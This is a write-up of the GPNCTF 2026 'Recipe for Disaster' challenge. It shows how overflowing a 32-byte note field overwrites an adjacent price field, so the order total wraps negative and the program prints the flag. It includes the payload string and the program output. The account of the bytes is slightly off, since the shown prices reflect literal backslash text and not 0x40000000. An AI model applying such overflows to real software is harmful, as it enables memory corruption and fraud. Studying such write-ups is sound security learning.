

This is a writeup for the pwn challenge “Recipe for Disaster” from the GPNCTF 2026

I have first checked the binary with checksec:

```
(kali@kali) [~/recipe/recipe-for-disaster]
$ checksec challenge
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of
Or add the following lines to ~/.pwn.conf or /home/
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[*] '/home/kali/recipe/recipe-for-disaster/challenge'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
Debuginfo: Yes
```

Running the program presents you with a food menu

From which you can choose 6 items, one of which is
named Overwritten Return Pointer and it costs 1337 dollars so that might be a possible clue

```
(kali@kali) [~/recipe/recipe-for-disaster]
$ ./challenge

=====
      GPNCTF Food Ordering System
    Great Prices. No Vulnerabilities.
=====

You may order up to 10 items. Enter 0 when done.



| TODAY'S MENU |                            |      |
|--------------|----------------------------|------|
| #            | Item                       | \$   |
| 1            | Overwritten Return Pointer | 1337 |
| 2            | Gulasch                    | 23   |
| 3            | Deep Fried XSS             | 13   |
| 4            | Pizza Crypto               | 11   |
| 5            | Scrambled VM Instruction   | 18   |
| 6            | Grilled Bits               | 6    |


```

After that you can also leave a note to the chef and then the total is calculated

We also have the source code, inside of it there is a function that reads the flag from /flag

```
void print_coupon(void) {
    FILE *f = fopen("/flag", "r");
    if (!f) {
        puts("Could not get valid coupon, sorry");
        return;
    }
    char buf[128];
    if (fgets(buf, sizeof(buf), f)) {
        printf("%s\n", buf);
    }
    fclose(f);
}
```

We can see that function is called from another function `verify_total` to call the `print_coupon` function we would need to make the total a negative number

```
/*
 * Our intern was worried that the sum might overflow.
 * We definitely don't want customers to pay negative prices.
 */
void verify_total(int total) {
    if (total < 0) {
        puts("\n[SYSTEM] Pricing error detected! We sincerely apologise for");
        puts("[SYSTEM] the inconvenience. Please accept this coupon:\n");
        print_coupon();
        exit(0);
    }
}
```

We would need to find a way to overflow the integer "total" into a negative number.

My first idea was to just add the necessary items for the overflow to happen which would be

2147483647 dollars, unfortunately you can order only up to 10 items and that is maximum of \$13370 dollars. That is nowhere close.

Also we can't manipulate what number of the item we choose we can only use 1 to 6

However we can very easily write anything in the note variable after each item

After the note variable the price variable is conveniently initialized in the structure used per item

```
typedef struct {
    char item[32];
    char note[32];
    int price;
} Item;
```

So we can just overflow the price by putting this in every note for our 10 orders

AA\x00\x00\x00\x40

32 bytes to fill up the note variable

and then \x00\x00\x00\x40 which translates to 0x40000000 which is the number 1073741824

1073741824* 10 is > than 2147483647 so total overflows and we get the win condition

TODAY'S MENU		
#	Item	\$
1	Overwritten Return Pointer	1337
2	Gulasch	23
3	Deep Fried XSS	13
4	Pizza Crypto	11
5	Scrambled VM Instruction	18
6	Grilled Bits	6

Select item (1-6), or 0 to finish: 1
Any note for the chef? (leave blank for none)
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x40

Added: Overwritten Return Pointer (\$808482908)

```
===== YOUR RECEIPT =====
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Overwritten Return Pointer $808482908
  (note: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
```

```
=====
TOTAL                                $-505105512
=====
```

[SYSTEM] Pricing error detected! We sincerely apologise for
[SYSTEM] the inconvenience. Please accept this coupon:

GPNCTF{W4i7, W17H th3SE PRic3S, oVERFl0wS shouLd No7 Be P0SSiB13 ... }